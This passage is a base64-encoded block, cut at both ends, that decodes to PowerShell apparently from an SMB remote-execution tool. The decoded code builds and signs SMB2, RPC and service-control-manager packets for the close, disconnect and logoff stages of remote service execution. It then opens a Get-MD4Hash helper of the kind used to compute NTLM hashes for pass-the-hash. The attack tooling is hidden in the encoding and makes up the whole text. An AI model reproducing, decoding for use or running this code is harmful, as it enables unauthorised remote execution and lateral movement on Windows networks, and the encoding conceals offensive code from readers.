kcGFja2V0X1NDTV9kYXRhID0gR2V0LVBhY2tldFNDTUNsb3NlU2VydmljZUhhbmRsZSAkU01CX3NlcnZpY2VfbWFuYWdlcl9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMSwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbiA9ICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICdDbG9zZVJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDA2LDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0Il0gPSAweDdmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9GbGFncyJdID0gMHgwOCwweDAwLDB4MDAsMHgwMCAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YSA9IEdldC1QYWNrZXRTTUIyQ2xvc2VSZXF1ZXN0ICRTTUJfZmlsZV9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ25hdHVyZSA9ICRITUFDX1NIQTI1Ni5Db21wdXRlSGFzaCgkU01CMl9zaWduKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ25hdHVyZSA9ICRTTUIyX3NpZ25hdHVyZVswLi4xNV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQjJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnVHJlZURpc2Nvbm5lY3QnDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnVHJlZURpc2Nvbm5lY3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlciA9IEdldC1QYWNrZXRTTUIySGVhZGVyIDB4MDQsMHgwMCAkU01CMl9tZXNzYWdlX0lEICRTTUIyX3RyZWVfSUQgJFNNQl9zZXNzaW9uX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0NyZWRpdFJlcXVlc3QiXSA9IDB4N2YsMHgwMA0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YSA9IEdldC1QYWNrZXRTTUIyVHJlZURpc2Nvbm5lY3RSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdMb2dvZmYnDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnTG9nb2ZmJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEICs9IDIwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwMiwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMlNlc3Npb25Mb2dvZmZSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdFeGl0Jw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYoJFNNQkV4ZWNfZmFpbGVkKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgQlJFQUsgU01CX2V4ZWN1dGVfbG9vcA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICAgIH0NCg0KICAgICRTTUJfY2xpZW50LkNsb3NlKCkNCiAgICAkU01CX2NsaWVudF9zdHJlYW0uQ2xvc2UoKQ0KfQ0KDQp9DQoNCkZ1bmN0aW9uIEdldC1NRDRIYXNoIHsNCjwjDQouU1lOT1BTSVMNCiAgICBUaGlzIGNtZGxldCByZXR1cm5zIHRoZSBNRDQgaGFzaCBvZiB0aGUgZGF0YSB0aGF0IGlzIGlucHV0Lg0KICAgIFdBUk5JTkc6IE1ENCBpcyBub3Qgc2VjdXJlLCBzbyBpdCBzaG91bGQgTkVWRVIgYmUgdXNlZCB0bw0KICAgIHByb3RlY3Qgc2Vuc2l0aXZlIGRhdGEuIFRoaXMgY21kbGV0IGlzIGZvciByZXNlYXJjaCBwdXJwb3NlcyBvbmx5IQ0KIA0KLkRFU0NSSVBUSU9ODQogICAgVGhpcyBjbWRsZXQgcmV0dXJucyB0aGUgTUQ0IGhhc2ggb2YgdGhlIGRhdGEgdGhhdCBpcyBpbnB1dC4NCiAgICBXQVJOSU5HOiBNRDQgaXMgbm90IHNlY3VyZSwgc28gaXQgc2hvdWxkIE5FVkVSIGJlIHVzZWQgdG8NCiAgICBwcm90ZWN0IHNlbnNpdGl2ZSBkYXRhLiBUaGlzIGNtZGxldCBpcyBmb3IgcmVzZWFyY2ggcHVycG9zZXMgb25seSENCiAgICBUaGlzIGNtZGxldCB1c2VzIE1pY3Jvc29mdCdzIGltcGxlbWVudGF0aW9uIG9mIE1ENCwgZXhwb3J0ZWQNCiAgICBmcm9tIGJjcnlwdC5kbGwuIFRoZSBpbXBsZW1lbnRhdGlvbiBpcyBmdWxseSBjb21wbGlhbnQgd2l0aA0KICAgIFJGQyAxMzIwLiBUaGlzIGNtZGxldCB0YWtlcyBhIGJ5dGUgYXJyYXkgYXMgaW5wdXQsIG5vdCBhIHN0cmluZy4NCiAgICBTbyBpZiB5b3Ugd2FudGVkIHRvIGhhc2ggYSBzdHJpbmcgKHN1Y2ggYXMgYSBwYXNzd29yZCwpIHlvdQ0KICAgIG5lZWQgdG8gY29udmVydCBpdCB0byBhIGJ5dGUgYXJyYXkgZmlyc3QuDQogDQouRVhBTVBMRQ0KICAgIEdldC1NRDRIYXNoIC1EYXRhVG9IYXNoICQoW1RleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCJZb3VyUGFzc3dvcmQxISIpKQ0KIA0KLlBBUkFNRVRFUiBEYXRhVG9IYXNoDQogICAgQSBieXRlIGFycmF5IHRoYXQgcmVwcmVzZW50cyB0aGUgZGF0YSB0aGF0IHlvdSB3YW50IHRvIGhhc2guDQogDQouSU5QVVRTDQogICAgQSBieXRlIGFycmF5IGNvbnRhaW5pbmcgdGhlIGRhdGEgeW91IHdpc2ggdG8gaGFzaC4NCiANCi5PVVRQVVRTDQogICAgQSAxMjgtYml0IGhleGFkZWNpbWFsIHN0cmluZyAtIHRoZSBNRDQgaGFzaCBvZiB5b3VyIGRhdGEuDQogDQouTk9URVMNCiAgICBBdXRob3I6IFJ5YW4gUmllcywgMjAxNCwgcnlhbkBteW90aGVycGNpc2FjbG91ZC5jb20NCiANCi5MSU5LDQogICAgaHR0cHM6Ly9teW90aGVycGNpc2FjbG91ZC5jb20NCiM+DQogICAgW0NtZGxldEJpbmRpbmcoKV0NCiAgICBQYXJhbSAoW1BhcmFtZXRlcihNYW5kYXRvcnk9JFRydWUsIFZhbHVlRnJvbVBpcGVsaW5lPSRGYWxzZSldICAgICAgICAgIA0KICAgICAgICAgICBbQnl0ZVtdXSREYXRhVG9IYXNoKQ0KICAgIEVORA0KICAgIHsgICAgICAgDQogICAgICAgIFNldC1TdHJpY3RNb2RlIC1WZXJzaW9uIExhdGVzdA0KICAgICAgICBpZiAoLW5vdCAoW1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNUeXBlTmFtZV0nZHNhZmRzYWZkc2FmZHMnKS5UeXBlKQ0KICAgICAgICB7DQogICAgICAgIEFkZC1UeXBlIC1UeXBlRGVmaW5pdGlvbiBAJw0KICAgICAgICB1c2luZyBTeXN0ZW07DQogICAgICAgIHVzaW5nIFN5c3RlbS5UZXh0Ow0KICAgICAgICB1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7DQogICAgICAgIHB1YmxpYyBjbGFzcyBkc2FmZHNhZmRzYWZkcw0KICAgICAgICB7DQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIoDQogICAgICAgICAgICAgICAgW091dF0gb3V0IEludFB0ciBwaEFsZ29yaXRobSwNCiAgICAgICAgICAgICAgICBbSW5dIHN0cmluZyBwc3pBbGdJZCwNCiAgICAgICAgICAgICAgICBbSW4sIE9wdGlvbmFsXSBzdHJpbmcgcHN6SW1wbGVtZW50YXRpb24sDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRDbG9zZUFsZ29yaXRobVByb3ZpZGVyKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEFsZ29yaXRobSwNCiAgICAgICAgICAgICAgICBbSW5dIFVJbnQzMiBkd0ZsYWdzKTsNCiANCiAgICAgICAgICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0NCiAgICAgICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIE5UU3RhdHVzIEJDcnlwdENyZWF0ZUhhc2goDQogICAgICAgICAgICAgICAgW0luLCBPdXRdIEludFB0ciBoQWxnb3JpdGhtLA0KICAgICAgICAgICAgICAgIFtPdXRdIG91dCBJbnRQdHIgcGhIYXNoLA0KICAgICAgICAgICAgICAgIFtPdXRdIEludFB0ciBwYkhhc2hPYmplY3QsDQogICAgICAgICAgICAgICAgW0luLCBPcHRpb25hbF0gVUludDMyIGNiSGFzaE9iamVjdCwNCiAgICAgICAgICAgICAgICBbSW4sIE9wdGlvbmFsXSBJbnRQdHIgcGJTZWNyZXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgY2JTZWNyZXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHREZXN0cm95SGFzaCgNCiAgICAgICAgICAgICAgICBbSW4sIE91dF0gSW50UHRyIGhIYXNoKTsNCiANCiAgICAgICAgICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiKV0NCiAgICAgICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIE5UU3RhdHVzIEJDcnlwdEhhc2hEYXRhKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEhhc2gsDQogICAgICAgICAgICAgICAgW0luLCBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUEFycmF5KV0gYnl0ZVtdIHBiSW5wdXQsDQogICAgICAgICAgICAgICAgW0luXSBpbnQgY2JJbnB1dCwNCiAgICAgICAgICAgICAgICBbSW5dIFVJbnQzMiBkd0ZsYWdzKTsNCiANCiAgICAgICAgICAgIFtEbGxJbXBvcnQoImJjcnlwdC5kbGwiKV0NCiAgICAgICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIE5UU3RhdHVzIEJDcnlwdEZpbmlzaEhhc2goDQogICAgICAgICAgICAgICAgW0luLCBPdXRdIEludFB0ciBoSGFzaCwNCiAgICAgICAgICAgICAgICBbT3V0LCBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUEFycmF5KV0gYnl0ZVtdIHBiSW5wdXQsDQogICAgICAgICAgICAgICAgW0luXSBpbnQgY2JJbnB1dCwNCiAgICAgICAgICAgICAgICBbSW5dIFVJbnQzMiBkd0ZsYWdzKTsNCiANCiAgICAgICAgICAgIFtGbGFnc10NCiAgICAgICAgICAgIHB1YmxpYyBlbnVtIEFsZ09wc0ZsYWdzIDogdWludA0KICAgICAgICAgICAgeyAgICAgICAgICAgDQogICAgICAgICAgICAgICAgQkNSWVBUX1BST1ZfRElTUEFUQ0ggPSAweDAwMDAwMDAxLA0KICAgICAgICAgICAgICAgIEJDUllQVF9BTEdfSEFORExFX0hNQUNfRkxBRyA9IDB4MDAwMDAwMDgsDQogICAgICAgICAgICAgICAgQkNSWVBUX0hBU0hfUkVVU0FCTEVfRkxBRyA9IDB4MDAwMDAwMjANCiAgICAgICAgICAgIH0NCiANCiAgICAgICAgICAgIC8vIFRoaXMgaXMgYSBnaWdhbnRpYyBlbnVtIGFuZCBJIGRvbid0IHdhbnQgdG8gY29weSBhbGwgb2YgaXQgaW50byB0aGlzIFBvd2Vyc2hlbGwgc2NyaXB0Lg0KICAgICAgICAgICAgLy8gQmFzaWNhbGx5IGFueXRoaW5nIG90aGVyIHRo